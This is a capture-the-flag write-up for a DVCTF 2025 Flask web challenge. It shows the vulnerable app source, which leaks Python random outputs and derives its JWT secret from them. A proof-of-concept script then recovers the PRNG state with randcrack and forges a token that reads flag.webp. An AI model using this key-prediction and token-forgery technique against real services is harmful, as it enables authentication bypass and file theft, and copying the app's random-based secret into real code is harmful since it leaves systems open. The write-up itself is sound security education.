# DVCTF 2025 Web Challenge Write-Up (Medium Level)
## Challenge Overview
The challenge is a Flask-based web application running on port 10020. The goal is to retrieve a flag, likely stored in an image file (flag.webp), by exploiting vulnerabilities in the application's JWT authentication and random number generation. So below is the source code ```app.py```:
```python=
from flask import Flask, jsonify, abort, make_response, render_template, request
from os import path
import jwt
import datetime
import random
import base64
def generate_random_filename():
rdn = random.getrandbits(32)
return f"{rdn}.webp"
image_list = [generate_random_filename() for _ in range(650)]
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.getrandbits(32))
def generate_jwt():
payload = {
'sub': 'user_id',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'profilepicture': f'./images/image.webp'
}
header = {
'alg': 'HS256',
'typ': 'JWT'
}
token = jwt.encode(
payload,
app.config['SECRET_KEY'],
algorithm='HS256',
headers=header
)
return token
def verify_jwt(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
print("ExpiredSignatureError")
return False
except jwt.InvalidTokenError:
print("InvalidTokenError")
return False
def encode_image_to_base64(image_path):
with open(image_path, "rb") as image_file:
return base64.b64encode(image_file.read()).decode('utf-8')
@app.route('/', methods=['GET'])
def home():
token = request.cookies.get('token')
if token:
print("verifying token: ",token)
payload = verify_jwt(token)
if payload:
image_path = payload.get('profilepicture')
print(image_path)
if path.exists(image_path):
image_base64 = encode_image_to_base64(image_path) if image_path.endswith('.webp') else encode_image_to_base64(f'./images/image.webp')
else:
image_base64 = encode_image_to_base64(f'./images/image.webp')
return render_template('index.html', image_base64=image_base64)
else:
new_token = generate_jwt()
new_payload = verify_jwt(new_token)
new_image_path = new_payload.get('profilepicture')
new_image_base64 = encode_image_to_base64(new_image_path)
response = make_response(render_template('index.html',image_base64=new_image_base64))
response.set_cookie('token', new_token)
return response
else:
token = generate_jwt()
payload = verify_jwt(token)
image_path = payload.get('profilepicture')
image_base64 = encode_image_to_base64(image_path)
response = make_response(render_template('index.html', image_base64=image_base64))
response.set_cookie('token', token)
return response
@app.route('/images', methods=['GET'])
def get_all_images():
return jsonify({'images': image_list})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=10020)
```
## Source Code Analysis
The provided Flask application has the following key components:
1. __Random Filename Generation__:
The ```generate_random_filename()``` function uses ```random.getrandbits(32)``` to generate 650 random filenames in the format ```<random_number>.webp```, stored in ```image_list```. Then, we can get this list via ```/images``` endpoint.
2. __Secret Key Generation__:
After genertate 650 random filenames above, the Flask app's ```SECRET_KEY``` is set using ```str(random.getrandbits(32))```, a 32-bit random number generated at startup.
3. __JWT Handling__:
The JWT is signed using the HS256 algorithm with the ```SECRET_KEY```. That decided which ```*.webp``` will be used in ```index.html```.
## Vulnerability Identification
The key vulnerabilities are:
1. __PRNG__:
The ```random``` library in Python uses a pseudo-random number generator. If we have enough states, we can *crack* the random generator and *predict* its future states. As mentioned above, this challenge provided me with 650 states (through generating image names).
2. __JWT Forge__:
The ```SECRET_KEY``` is generated after generating the filenames. Therefore, if we crack the randomness, we can determine the key, making it easy to forge the JWT.
## Exploit
After some research on Github, I found this repo for cracking the Python randomness: [Python-random-module-cracker](https://github.com/tna0y/Python-random-module-cracker). Absolute cinema 🤺 !!!. So this is my exploitation strategy:
1. Retrieve the list of filenames from ```/images```.
2. Use the random numbers in the filenames to predict the PRNG state.
3. Recover the ```SECRET_KEY```.
4. Forge a JWT with profilepicture set to ```./images/flag.webp```.
5. Use the forged JWT to access the flag image.
## PoC
This is my PoC:
```python=
from randcrack import RandCrack #type: ignore
from img import *
import jwt
import datetime
img_id = [x.split('.')[0] for x in img_lst]
rc = RandCrack()
for item in img_id[26:]:
rc.submit(int(item))
secret = str(rc.predict_randrange(0, 4294967295))
print(f"[+] Secret: {secret}")
def generate_jwt():
payload = {
'sub': 'user_id',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'profilepicture': f'./images/flag.webp'
}
header = {
'alg': 'HS256',
'typ': 'JWT'
}
token = jwt.encode(
payload,
secret,
algorithm='HS256',
headers=header
)
return token
print(f"[+] Token: {generate_jwt()}")
```
This is my first public write-up, so it may contain some mistakes. I’m very grateful to receive any feedback or suggestions to help me improve.🍀